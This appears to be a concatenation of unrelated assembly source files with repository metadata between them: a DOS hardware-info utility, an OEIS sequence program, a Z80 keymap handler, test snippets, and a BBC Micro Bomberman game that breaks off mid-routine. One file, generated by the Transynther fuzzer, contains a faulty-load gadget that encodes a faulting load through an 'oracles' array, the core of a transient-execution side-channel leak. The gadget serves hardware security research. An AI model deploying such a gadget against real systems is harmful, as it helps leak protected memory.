INT67_GET_VERSION = 46h
mov ah,DOS_GET_VECTOR
mov al,LIM_SERVICE
int DOS_FUNCTION
mov cx,8 ; compare all 8 characters of EMS name
mov di,10 ; set up destination index
mov si,offset EMMSTRING ; point to comparison string
cld ; make sure direction is upward
repe cmpsb
jcxz @@001 ; if all 8 bytes compare, found
jmp short @@exit ; else, get out
@@001: mov dx,offset Msg27
mov cx,Msg27Len
call Write
mov ah,INT67_GET_PAGE_COUNT
int LIM_SERVICE
cmp ah,0 ; do we have errors?
je @@CONT ; no, continue
call Errors
jmp short @@exit
@@CONT: mov ax,bx ; unallocated pages
mov di,offset Msg31U
call IntToStrDbl
mov ax,dx ; total EMS pages
mov di,offset Msg31A
call IntToStrDbl
mov dx,offset Msg31
mov cx,Msg31Len
call Write
mov ah,INT67_GET_VERSION
int LIM_SERVICE
cmp ah,0 ; do we have errors?
je @@CONT1 ; no, continue
call Errors
jmp short @@exit
@@CONT1: mov di,offset Msg32Ver
call HexVal
mov al,[Msg32Ver+1]
mov [Msg32Ver+2],al
mov [Msg32Ver+1],'.'
mov dx,offset Msg32
mov cx,Msg32Len
call Write
@@exit: ret
Errors: cmp ah,80h ; internal error?
jne @@E1 ; no, check next
mov dx,offset Msg28
mov cx,Msg28Len
call Write
@@E1: cmp ah,81h ; hardware malfunction?
jne @@E2 ; no, check next
mov dx,offset Msg29
mov cx,Msg29Len
call Write
@@E2: cmp ah,84h ; undefined function?
jne @@Done ; no, exit
mov dx,offset Msg30
mov cx,Msg30Len
call Write
@@Done: ret
endp TestExpanded
;*******************************************************************************
; Purpose: If mouse is present, show information about it
; Input : None
; Output : None
proc TestMouse
MOUSE_DEVICE = 33h
INT33_GET_MOUSE_PARMS = 0
mov ax,INT33_GET_MOUSE_PARMS
int MOUSE_DEVICE
cmp ax,0 ; is driver installed?
je @@exit ; no, get out
mov dx,offset Msg33
mov cx,Msg33Len
call Write
mov di,offset Msg34Num
mov ax,bx
call IntToStrDbl
mov dx,offset Msg34
mov cx,Msg34Len
call Write
@@exit: ret
endp TestMouse
;*******************************************************************************
; Purpose: Determine whether DesqView is loaded
; Input : None
; Output : None
proc DesqView
mov cx,'DE' ; check for the presence of DV
mov dx,'SQ'
mov ax,2B01h
int DOS_FUNCTION
cmp al,0FFh ; if invalid not in DV
je @@exit ; so, exit routine
mov dx,offset Msg36
mov cx,Msg36Len
call Write
mov ax,bx ; get DV version in AX
add ah,'0' ; convert major to ASCII
mov [Msg37Major],ah
mov ah,0 ; zero high byte
mov bl,10 ; divisor is 10
div bl ; divide minor version by 10
add ax,3030h ; convert both numbers to ASCII
mov [Msg37Minor],al ; put first digit
mov [Msg37Minor+1],ah ; put second digit
mov dx,offset Msg37
mov cx,Msg37Len
call Write
@@exit: ret
endp DesqView
;*******************************************************************************
; Purpose: Write a string to standard output
; Input : DS:DX points to string to print
; : CX holds number of characters to print
; Output : none
proc Write
push ax ; save registers
push bx
mov ah,DOS_WRITE_TO_HANDLE
mov bx,STDOUT
int DOS_FUNCTION
pop bx ; restore registers
pop ax
ret
endp Write
;*******************************************************************************
; Purpose: Convert a byte value to an ASCII string
; Input : AL holds number to convert (0-255)
; : DS:DI points to a 3-byte string space
; Output : Nothing
proc IntToStr
push ax ; save registers
push bx
push cx
push di
mov [IntFlag],0 ; initialize flag
mov cx,3 ; initialize counter
mov ah,0 ; zero high byte
mov bh,100 ; starting value to divide
@@10: div bh
add al,'0' ; convert quotient to ASCII
cmp cx,1 ; is this the last digit?
je @@11 ; yes, continue
cmp al,'0' ; is the digit a '0'?
jne @@101 ; no, go on
cmp [IntFlag],1 ; is flag set?
je @@11 ; yes, go on
mov al,SPACE ; yes, make it a SPACE
jmp short @@11 ; go on
@@101: mov [IntFlag],1 ; set flag
@@11: mov [di],al ; put it in string
inc di ; point to next character
push ax ; save remainder
mov ah,0 ; zero high AX
mov al,bh ; get divisor
mov bh,10 ; get local divisor
div bh ; divide by 10
mov bh,al ; get quotient in BH
pop ax ; restore remainder
mov al,ah ; continue with remainder
mov ah,0 ; zero high byte
loop @@10
pop di ; pop registers
pop cx
pop bx
pop ax
ret
endp IntToStr
;*******************************************************************************
; Purpose: Convert a word value to an ASCII string
; Input : AX holds number to convert (0-65535)
; : DS:DI points to a 5-byte string space
; Output : Nothing
proc IntToStrDbl
push ax ; save registers
push bx
push cx
push dx
push di
mov [IntDblFlag],0 ; initialize flag
mov cx,5 ; initialize counter
mov dx,0 ; zero high word
mov bx,10000 ; starting value to divide
@@10: div bx
add al,'0' ; convert quotient to ASCII
cmp cx,1 ; is this the last digit?
je @@11 ; yes, continue
cmp al,'0' ; is the digit a '0'?
jne @@101 ; no, go on
cmp [IntDblFlag],1 ; is flag set?
je @@11 ; yes, go on
mov al,SPACE ; yes, make it a SPACE
jmp short @@11 ; go on
@@101: mov [IntDblFlag],1 ; set flag
@@11: mov [di],al ; put it in string
inc di ; point to next character
push dx ; save remainder
mov dx,0 ; zero high AX
mov ax,bx ; get divisor
mov bx,10 ; get local divisor
div bx ; divide by 10
mov bx,ax ; get quotient in BH
pop dx ; restore remainder
mov ax,dx ; continue with remainder
mov dx,0 ; zero high byte
loop @@10
pop di ; pop registers
pop dx
pop cx
pop bx
pop ax
ret
endp IntToStrDbl
;*******************************************************************************
; Purpose: Convert a binary number to a 2-byte ASCII hex string
; Input : DS:DI points to 2-byte string
; : AL holds the number
; Output : None
proc HexVal
push ax ; save registers
push di
mov [di+1],al ; save number
and al,0f0h ; reset LSNibble
shr al,1 ; shift MSN to LSN
shr al,1
shr al,1
shr al,1
call @@000 ; convert to ASCII character
mov [di],al ; save it in string
inc di ; increment buffer pointer
mov al,[di] ; get next value
and al,0fh ; reset MSNibble
call @@000 ; convert to ASCII character
mov [di],al ; save it in string
pop di ; restore registers
pop ax
ret ; return to caller
@@000: cmp al,9 ; is character >9?
ja @@001 ; yes, it is A-F
add al,'0' ; else, convert to ASCII
ret
@@001: sub al,0ah ; if A-F, subtract 10
add al,'A' ; and convert to ASCII letter
ret
endp HexVal
P386
;*******************************************************************************
; Purpose: Return a unique value indicating the type of CPU used
; Input : None
; Output : AX holds 86, 286, or 386 depending on processor used
proc TestCPU
push sp ; start checks
pop ax
cmp sp,ax
je @@286
mov ax,86 ; CPU is an 8086 or equivalent
ret
@@286: pushf
pop ax
or ax,4000H
push ax
popf
pushf
pop ax
test ax,4000H
jnz @@386
mov ax,286 ; CPU is an 80286 or equivalent
ret
@@386: mov ax,386 ; CPU is an 80386 or equivalent
@@exit: ret
endp TestCPU
;*******************************************************************************
; Purpose: Check whether in Virtual 8086 mode
; Input : None
; Output : None
proc V8086
smsw ax ; store machine status word in AX
test al,1
jz @@exit ; not in virtual mode
mov dx,offset Msg26
mov cx,Msg26Len
call Write
@@exit: ret
endp V8086
;*******************************************************************************
; Purpose: Display information specific to the 386 processor environment
; Input : None
; Output : None
proc CoTest
cmp [CPUType],386 ; is the CPU a 386 or higher?
jl @@exit ; no, exit routine
mov eax,cr0 ; get control register of 386 machines
test eax,4h ; check emulator bit
jz @@exit ; no emulation
mov dx,offset Msg25
mov cx,Msg25Len
call Write
@@exit: ret
endp CoTest
end main
| 39.238153
| 82
| 0.421732
|
f9feae660b7196444f64b91286ec9b74e2ca4152
| 525
|
asm
|
Assembly
|
programs/oeis/130/A130664.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/130/A130664.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/130/A130664.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A130664: a(1)=1. a(n) = a(n-1) + (number of terms from among a(1) through a(n-1) which are factorials).
; 1,2,4,6,9,12,15,18,21,24,28,32,36,40,44,48,52,56,60,64,68,72,76,80,84,88,92,96,100,104,108,112,116,120,125,130,135,140,145,150,155,160,165,170,175,180,185,190,195,200,205,210,215,220,225,230,235,240,245,250,255,260,265,270,275,280,285,290,295,300,305,310,315,320,325,330,335,340,345,350,355,360,365,370,375,380,385,390,395,400,405,410,415,420,425,430,435,440,445,450
seq $0,84555 ; Partial sums of A084556.
add $0,1
| 87.5
| 368
| 0.700952
|
b717455a2787c5ae35789aa4080774605e4191e4
| 6,235
|
asm
|
Assembly
|
Transynther/x86/_processed/US/_st_4k_/i9-9900K_12_0xa0.log_21829_175.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/US/_st_4k_/i9-9900K_12_0xa0.log_21829_175.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/US/_st_4k_/i9-9900K_12_0xa0.log_21829_175.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r8
push %r9
push %rax
push %rbx
push %rdx
lea addresses_WC_ht+0xb654, %r8
nop
xor %r10, %r10
and $0xffffffffffffffc0, %r8
vmovntdqa (%r8), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $0, %xmm0, %rdx
add $12164, %rbx
lea addresses_WC_ht+0x7a54, %r9
xor %r11, %r11
movw $0x6162, (%r9)
and %rdx, %rdx
lea addresses_UC_ht+0x18254, %rax
nop
nop
and $25696, %r9
movw $0x6162, (%rax)
nop
nop
nop
sub $12181, %r9
lea addresses_WT_ht+0x12454, %r8
nop
xor %r10, %r10
movb (%r8), %r9b
nop
nop
add $54760, %r10
pop %rdx
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r13
push %rbx
push %rdx
push %rsi
// Store
lea addresses_US+0x17854, %rsi
cmp %r13, %r13
mov $0x5152535455565758, %r11
movq %r11, (%rsi)
nop
nop
and %r13, %r13
// Store
lea addresses_D+0x2c54, %rbx
nop
and %r12, %r12
movw $0x5152, (%rbx)
nop
nop
nop
nop
sub $13497, %r10
// Store
lea addresses_WT+0x846c, %rbx
nop
nop
nop
xor $48214, %r10
movl $0x51525354, (%rbx)
and %rbx, %rbx
// Store
lea addresses_normal+0x18054, %r13
nop
nop
sub $19346, %r10
mov $0x5152535455565758, %rsi
movq %rsi, (%r13)
nop
nop
nop
xor $33955, %rdx
// Store
lea addresses_WC+0x1a248, %r10
cmp %rsi, %rsi
movw $0x5152, (%r10)
and %rsi, %rsi
// Load
lea addresses_US+0x17054, %r11
nop
sub %rdx, %rdx
mov (%r11), %r13
nop
nop
nop
xor %rsi, %rsi
// Faulty Load
lea addresses_US+0xe054, %rsi
nop
nop
nop
nop
nop
sub $26008, %rdx
mov (%rsi), %r10d
lea oracles, %r12
and $0xff, %r10
shlq $12, %r10
mov (%r12,%r10,1), %r10
pop %rsi
pop %rdx
pop %rbx
pop %r13
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 11, 'type': 'addresses_US', 'AVXalign': False, 'size': 8}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_D', 'AVXalign': False, 'size': 2}}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 2, 'type': 'addresses_WT', 'AVXalign': False, 'size': 4}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_normal', 'AVXalign': False, 'size': 8}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_WC', 'AVXalign': False, 'size': 2}}
{'src': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_US', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': True, 'same': False, 'congruent': 9, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 2}}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 9, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2}}
{'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 39.967949
| 2,999
| 0.650842
|
1d014902534660c19578625faaeeb917f18bffcb
| 6,228
|
asm
|
Assembly
|
libs/Multiplatform_ReadJoystickKeypressHandler.asm
|
CurlyPaul/cpc-z80-poc
|
93515b8fea39c05694378c48dac1a327dfad347b
|
[
"MIT"
] | null | null | null |
libs/Multiplatform_ReadJoystickKeypressHandler.asm
|
CurlyPaul/cpc-z80-poc
|
93515b8fea39c05694378c48dac1a327dfad347b
|
[
"MIT"
] | null | null | null |
libs/Multiplatform_ReadJoystickKeypressHandler.asm
|
CurlyPaul/cpc-z80-poc
|
93515b8fea39c05694378c48dac1a327dfad347b
|
[
"MIT"
] | null | null | null |
; Learn Multi platform Z80 Assembly Programming... With Vampires!
;Please see my website at www.chibiakumas.com/z80/
;for the 'textbook', useful resources and video tutorials
;File Read Controls
;Version V1.0
;Date 2018/7/6
;Content This function reads in input from the Key and Joystick input, and compares it to a defined 'keymap'
;----------------------------------------------------------------------------------------------
ifdef UseSampleKeymap ;Sample keymap for all systems
align32
KeyMap equ KeyMap2+16 ;wsad bnm p
KeyMap2: ;Default controls (joystick)
ifdef BuildCPC
db &F7,&03,&7f,&05,&ef,&09,&df,&09,&f7,&09,&fB,&09,&fd,&09,&fe,&09 ;p2-pause,f3,f2,f1,r,l,d,u
db &f7,&03,&bf,&04,&bf,&05,&bf,&06,&df,&07,&df,&08,&ef,&07,&f7,&07 ;p1-pause,f3,f2,f1,r,l,d,u
endif
ifdef BuildENT
db &ef,&09,&bf,&08,&df,&0a,&bf,&0a,&fe,&0a,&fd,&0a,&fb,&0a,&f7,&0a
db &ef,&09,&fe,&08,&fe,&00,&fb,&00,&f7,&01,&bf,&01,&df,&01,&bf,&02
endif
ifdef BuildZXS
db &fe,&05,&fe,&07,&fe,&06,&ef,&08,&fe,&08,&fd,&08,&fb,&08,&f7,&08
db &fe,&0f,&fb,&07,&f7,&07,&ef,&07,&fb,&01,&fe,&01,&fd,&01,&fd,&02
endif
ifdef BuildMSX
db &df,&04,&fe,&08,&ef,&0c,&df,&0c,&f7,&0c,&fb,&0c,&fd,&0c,&fe,&0c
db &df,&04,&fb,&04,&f7,&04,&7f,&02,&fd,&03,&bf,&02,&fe,&05,&ef,&05
endif
ifdef BuildTI8
db &f7,&05,&fb,&05,&fd,&05,&fe,&05,&fb,&04,&fb,&02,&fd,&03,&f7,&03
db &bf,&05,&7f,&00,&bf,&00,&df,&00,&fb,&06,&fd,&06,&fe,&06,&f7,&06
endif
ifdef BuildSAM
db &FE,&05,&Fe,&07,&FE,&06,&FE,&04,&F7,&04,&EF,&04,&FB,&04,&FD,&04
db &FE,&05,&FB,&07,&F7,&07,&EF,&07,&FB,&01,&FE,&01,&FD,&01,&FD,&02
endif
ifdef BuildCLX
db &Fd,&07,&F7,&02,&F7,&09,&F7,&04,&DF,&09,&FB,&09,&DF,&00,&EF,&00
db &Fd,&07,&F7,&02,&F7,&09,&F7,&04,&DF,&09,&FB,&09,&DF,&00,&EF,&00
endif
endif
KeyboardScanner_WaitForKey:
call KeyboardScanner_ScanForOne ;Call the keyscanner
cp 255 ;No keys pressed?
jr z,KeyboardScanner_WaitForKey
ret
KeyboardScanner_ScanForOne:
call KeyboardScanner_Read ;Read the keymap
ld b,KeyboardScanner_LineCount ;Number of lines depends on system - systems like the speccy has 3 unused bis (567)
ld c,0
ld hl,KeyboardScanner_KeyPresses
KeyboardScanner_WaitForKey_Check:
ld a,(hl)
cp 255
ret nz ;Return if we found a line that had a key pressed
inc hl
inc c
djnz KeyboardScanner_WaitForKey_Check
ret ;if we got here, none of the keys were pressed.
Player_ReadControlsDual: ; Read Controls
call KeyboardScanner_Read ;Read hardware keypresses
call Player_ReadControls2
ld l,c ;Player 2 controls
push hl
call Player_ReadControls
pop hl
ld h,c ;Player 1 controls
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Player_ReadControls2:
ld hl,KeyMap2 ;p2 keymap
jr Player_ReadControlsB
Player_ReadControls:
ld hl,KeyMap ;p1 keymap
Player_ReadControlsB: ; We compare the keypresses to the 8 key map,
ld b,&08 ; and store the result as a single byte
; when 2player support is done, we will do this twice one for
Player_Handler_ReadNext: ; each controller
push bc
ld d,(hl) ;Bitmap
inc hl
ld a,(hl) ;line num
inc hl
push hl
ld hl,KeyboardScanner_KeyPresses
add l
ld l,a ;We're relying on this being byte aligned.
ld a,(hl)
or d
inc a ;see if A is 255!
jr nz,Player_Handler_notPressed
scf ;set C to 1 (the previous OR made it 0)
Player_Handler_notPressed:
pop hl
pop bc
rl c ;Shift the new bit in
djnz Player_Handler_ReadNext
ld a,c
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ifdef JOY_NoReconfigureControls
ConfigureControls:
ld b,8*2 ;8 buttons, 2 players
ConfigureControls_Nextkey:
ifdef BuildCPC
ld a,30*6 ;Delay is longer on CPC due to faster interrupts
else
ifdef BuildCLX
ld a,100
else
ld a,30
endif
endif
ifndef BuildCLX
ei
endif
ConfigureControls_Delay:
ifndef BuildCLX
halt ;Cant halt on camputers lynx
else
ld h,255
CamputersDelay:
;push af
;pop af
dec h
jr nz,CamputersDelay
;di
endif
dec a
jr nz,ConfigureControls_Delay
push bc
ld hl,KeyName
ld a,b ;B=key number
dec a
add a ;2 bytes per key
ld d,0
ld e,a
add hl,de ;get offset to key string address
ld c,(hl) ;get the description of the key
inc hl
ld b,(hl) ;get the description of the key
push de
push bc
ifdef BuildTI8
call CLS
endif
ld hl,KeyMapString0 ;Print 'Press key for'
call PrintString
pop hl ;Get the name of the key in HL
call PrintString
call KeyboardScanner_WaitForKey ;Wait for a keypress
pop de
ld hl,KeyMap2 ;Read the keymap
add hl,de ;add keynumber (x2) to keymap
push de
ld (hl),a ;Bitmask
inc hl
ld (hl),c ;Line number
pop de
pop bc
call NewLine
ifdef KeyboardScanner_OnePlayerOnly
dec b
ld a,8
cp b
jp nz,ConfigureControls_Nextkey
else
djnz ConfigureControls_Nextkey
endif
ret
KeyName: ;Stringmap for keysnames - order is important!
defw KeyMapString8b
defw KeyMapString7b
defw KeyMapString6b
defw KeyMapString5b
defw KeyMapString4b
defw KeyMapString3b
defw KeyMapString2b
defw KeyMapString1b
defw KeyMapString8
defw KeyMapString7
defw KeyMapString6
defw KeyMapString5
defw KeyMapString4
defw KeyMapString3
defw KeyMapString2
defw KeyMapString1
KeyMapString0: db "PRESS KEY FOR:",255
KeyMapString8: db "P1-PAUSE",255
KeyMapString7: db "P1-SBOMB",255
KeyMapString6: db "P1-FIRER",255
KeyMapString5: db "P1-FIREL",255
KeyMapString4: db "P1-RIGHT",255
KeyMapString3: db "P1-LEFT",255
KeyMapString2: db "P1-DOWN",255
KeyMapString1: db "P1-UP",255
KeyMapString8b: db "P2-PAUSE",255
KeyMapString7b: db "P2-SBOMB",255
KeyMapString6b: db "P2-FIRER",255
KeyMapString5b: db "P2-FIREL",255
KeyMapString4b: db "P2-RIGHT",255
KeyMapString3b: db "P2-LEFT",255
KeyMapString2b: db "P2-DOWN",255
KeyMapString1b: db "P2-UP",255
endif
| 27.68
| 149
| 0.629094
|
c1bcd2c260a4c898b6280ffcad344f7a00cc4c2f
| 195
|
asm
|
Assembly
|
Gas/Dos/Gas.asm
|
Gabidal/GAS_Pack
|
02f13531849bc5c03721a4319a9e315a60ba7707
|
[
"MIT"
] | 1
|
2021-09-21T13:07:37.000Z
|
2021-09-21T13:07:37.000Z
|
Gas/Dos/Gas.asm
|
Gabidal/GAS_Pack
|
02f13531849bc5c03721a4319a9e315a60ba7707
|
[
"MIT"
] | null | null | null |
Gas/Dos/Gas.asm
|
Gabidal/GAS_Pack
|
02f13531849bc5c03721a4319a9e315a60ba7707
|
[
"MIT"
] | null | null | null |
%include 'GInclude.asm'
main code
;_-_-_-_-_-_-_-_-_-_-_-_-_-_
addVar Check
addVar fileName
addVar Check
addVar Check
getVar ax, fileName
nout ax
mov bp, sp
;_-_-_-_-_-_-_-_-_-_-_-_-_-_
int 21h
| 13.928571
| 28
| 0.697436
|
28d6564a1e66b7ead67434e442bff20c08d83f42
| 165
|
asm
|
Assembly
|
Assembler/tests/optimizations/branching.asm
|
karannewatia/SCALE-MAMBA
|
467b33a6c80050789204ea3ee3b5cf0113354f85
|
[
"BSD-2-Clause"
] | 196
|
2018-05-25T11:41:56.000Z
|
2022-03-12T05:49:50.000Z
|
Assembler/tests/optimizations/branching.asm
|
karannewatia/SCALE-MAMBA
|
467b33a6c80050789204ea3ee3b5cf0113354f85
|
[
"BSD-2-Clause"
] | 49
|
2018-07-17T15:49:41.000Z
|
2021-01-19T11:35:31.000Z
|
Assembler/tests/optimizations/branching.asm
|
karannewatia/SCALE-MAMBA
|
467b33a6c80050789204ea3ee3b5cf0113354f85
|
[
"BSD-2-Clause"
] | 90
|
2018-05-25T11:41:42.000Z
|
2022-03-23T19:15:10.000Z
|
popint r32 # 324
popint r33 # 325
ldint r37, 2 # 326
jmpeq r37, 0, 1 # 330
# Local_test-0-if-block-7
print_int r33 # 338
# Local_test-0-end-if-8
print_int r32 # 338
| 18.333333
| 25
| 0.69697
|
8a8ea5a8c8db6c66eac211e90f8e495bef436e08
| 18,248
|
asm
|
Assembly
|
bbm.asm
|
picosonic/bbm
|
f3d8e3f7bedd36f6156bf8bc87068cc17800b41d
|
[
"MIT"
] | 4
|
2020-09-16T12:05:50.000Z
|
2021-06-22T23:37:29.000Z
|
bbm.asm
|
picosonic/bbm
|
f3d8e3f7bedd36f6156bf8bc87068cc17800b41d
|
[
"MIT"
] | null | null | null |
bbm.asm
|
picosonic/bbm
|
f3d8e3f7bedd36f6156bf8bc87068cc17800b41d
|
[
"MIT"
] | null | null | null |
; OS defines
INCLUDE "os.asm"
INCLUDE "inkey.asm"
INCLUDE "internal.asm"
; Variable and constant defines
INCLUDE "consts.asm"
INCLUDE "vars.asm"
ORG MAIN_RELOC_ADDR
GUARD ROMSBASE
.start
.datastart
.titles
INCBIN "TITLE.beeb"
.tilesheet
INCBIN "TILES.beeb"
.spritesheet
INCBIN "SPRITES.beeb"
.dataend
.codestart
JMP init
; Import modules
INCLUDE "input.asm"
INCLUDE "rand.asm"
INCLUDE "menus.asm"
INCLUDE "gfx.asm"
INCLUDE "sound.asm"
.init
; Initialise cursor
LDA #&00:STA cursor
STA sprflip
; Initialise game state
LDA #YES:STA inmenu
JSR init_bomberman
; Set up vsync event handler
LDA #&00:STA framecounter:STA frames
SEI
LDA #eventhandler MOD 256:STA EVNTV
LDA #eventhandler DIV 256:STA EVNTV+1
CLI
LDA #&0E:LDX #&04:JSR OSBYTE ; Enable vsync event handler
.gamestart
LDA #YES:STA inmenu
JSR waitvsync
JSR drawtitle
; Start playing music
LDA #&01:STA sound_music
.awaitkeys
JSR rand
; Scan for RETURN
LDA #INKEY_RETURN:JSR scankey
BNE startpressed
; Scan for SPACEBAR
LDA #INKEY_SPACE:JSR scankey
BEQ awaitkeys
; toggle cursor
LDA #&3A:JSR drawcursor ; Draw a blank on current position
LDA cursor:EOR #&01:STA cursor
LDA #&40:JSR drawcursor ; Draw cursor at new position
LDA #INKEY_SPACE:JSR unpressed ; Wait for SPACEBAR to be released
JMP awaitkeys
.init_bomberman
{
; Init bomberman sprite
LDA #1:STA BOMBMAN_X:STA BOMBMAN_X+1
LDA #2:STA BOMBMAN_Y:STA BOMBMAN_Y+1
LDA #8:STA BOMBMAN_U:STA BOMBMAN_V:STA BOMBMAN_U+1:STA BOMBMAN_V+1
LDA #0:STA BOMBMAN_FRAME:STA BOMBMAN_FRAME+1
LDA #0:STA BOMBMAN_FLIP:STA BOMBMAN_FLIP+1
RTS
}
.startpressed
{
LDA cursor
BEQ playgame
; Flip cursor
LDA cursor:EOR #&01:STA cursor
; Password entry screen
JSR password
LDA tempz:BNE playgame+4
JMP gamestart
}
; Handler for VBLANK event
.eventhandler
{
; Save registers
